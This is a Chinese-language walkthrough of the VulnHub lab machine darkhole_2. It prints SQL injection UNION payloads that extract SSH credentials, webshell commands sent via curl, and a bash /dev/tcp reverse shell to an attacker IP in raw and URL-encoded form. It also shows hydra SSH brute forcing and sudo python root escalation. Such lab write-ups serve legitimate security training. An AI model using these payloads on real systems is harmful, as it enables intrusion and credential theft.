打靶记录25——darkhole_2
靶机:
https://vulnhub.com/entry/darkhole-2,740/
下载(镜像):https://download.vulnhub.com/darkhole/darkhole_2.zip
难度:
- 高
目标:
- 获得 Root 权限 + 2 Flag
攻击方法:
- 主机发现
- 端口扫描
- Git 库泄露
- 源码分析
- SQL 注入
- 本地端口转发
- 密码爆破
- 水平提权1、2
- Root提权1、2
主机发现
sudo arp-scan -l

端口扫描和服务发现
sudo nmap -p- 192.168.221.172
发现开放了 80 和 22 端口

sudo nmap -p22,80 -sV -sC 192.168.221.172

Git 库泄露
看到一个 .git 路径,里面可能有源码
它的描述说,他改了 login.php 为了更安全,说明之前不安全
那先访问 80 端口的 Web 页面,访问这个 login.php,使用万能密码等方式尝试登录失败

那访问刚刚发现的 .git 路径,看到了文件目录的列表


wget -r http://192.168.221.172/.git/ 把整个 git 库保存下来
在 wget 命令中,-r 是一个选项,代表 “recursive”,即递归


git log 查看备注

用 githack (https://gitcode.com/gh_mirrors/git/GitHack)来下下来源码
python2 GitHack.py http://192.168.31.34/.git/



查看之前的记录


源码分析
再次查看 login.php ,就会在这个版本的 login.php 里面发现账号密码 lush@admin.com 321


SQL 注入

http://192.168.221.185/dashboard.php?id=1'+and+1=1--+ 基本可以确定这里存在 SQL 注入

http://192.168.221.185/dashboard.php?id=2%27+union+select+1,database(),3,4,5,6--+ 发现数据库名 darkhole_2

?id=2%27+union+select+1,table_name,3,4,5,6 from information_schema.tables where table_name='ssh'--+
获得表名 ssh

?id=2%27+union+select+1,GROUP_CONCAT(column_name),3,4,5,6 from information_schema.columns where table_name='ssh'--+
爆列名,发现列名是 id,user,pass

2'+union+select+1,id,user,4,pass,6+from+ssh--+
爆字段,获得账号密码jehad fool

根据表名猜测这是SSH登录的账号密码,成功登录


首先查看本地机器都有哪些用户账号
cat /etc/passwd

本地端口转发

cat .bash_history 去到 jehad 账号的主目录查看命令历史,看看有没有机密信息

发现这明显是有另外一个人已经在渗透了,主要在 9999 端口上

ss -pantu | grep 9999
- 这个命令用于在 Linux 系统中查找与端口
9999相关的网络连接信息。 ss是iproute2软件包中的一个命令行工具,用于获取套接字(socket)相关的信息,它可以替代较旧的netstat命令,并且通常具有更好的性能和更多功能。ss -pantu选项含义如下:
-p:显示使用该套接字的进程信息。-a:显示所有套接字,包括监听和非监听状态的。-n:以数字形式显示地址和端口号,而不是解析为域名和服务名,这样可以加快查询速度。-u:显示 UDP 套接字。-t:显示 TCP 套接字。

发现 Webshell 木马文件

根据上面的提示
curl http://127.0.0.1:9999/?cmd=id
发现确实执行了命令,而且是以 losy 的身份来执行的

反弹 shell
bash -c 'bash -i >& /dev/tcp/192.168.31.137/4242 0>&1'
因为是浏览器的形式提交的,所以先进行一下 URL 编码
bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E31%2E137%2F4242%200%3E%261%27



去 losy 的目录下看一下 .bash_history 历史记录
发现似乎在进行提权操作,还有疑似账号密码的 losy:gang


python3 -c 'import pty;pty.spawn("/bin/bash")'
用 python 升级、形成一个 shell

sudo -l 发现密码确实是 gang,而且可以以 root 的身份来运行 python

sudo python3 -c 'import pty;pty.spawn("/bin/bash")'

成功提权!


另外一种方法
先 SSH 爆破 lama 账号,获得密码 123
hydra -l lama -P /mnt/d/Downlaods_1/MidPwds.txt ssh://192.168.31.37
hydra:这是一个强大的开源密码破解工具,支持多种协议的暴力破解,如 SSH、FTP、HTTP 等。


cat .bash_history 发现它直接 sudo su

sudo -l 发现 lama 账号的权限更大


技术补充
本地端口转发
ssh -L 9999:localhost:9999 jehad@192.168.31.37
把目标靶机本地侦听的 9999 端口映射到我 kali 的 9999 端口上


然后我访问我 kali 本机 9999 端口的所有请求都会被转发到目标机器的 9999 端口上,然后利用上面的那个 cmd 参数,来执行操作系统命令。

浙公网安备 33010602011771号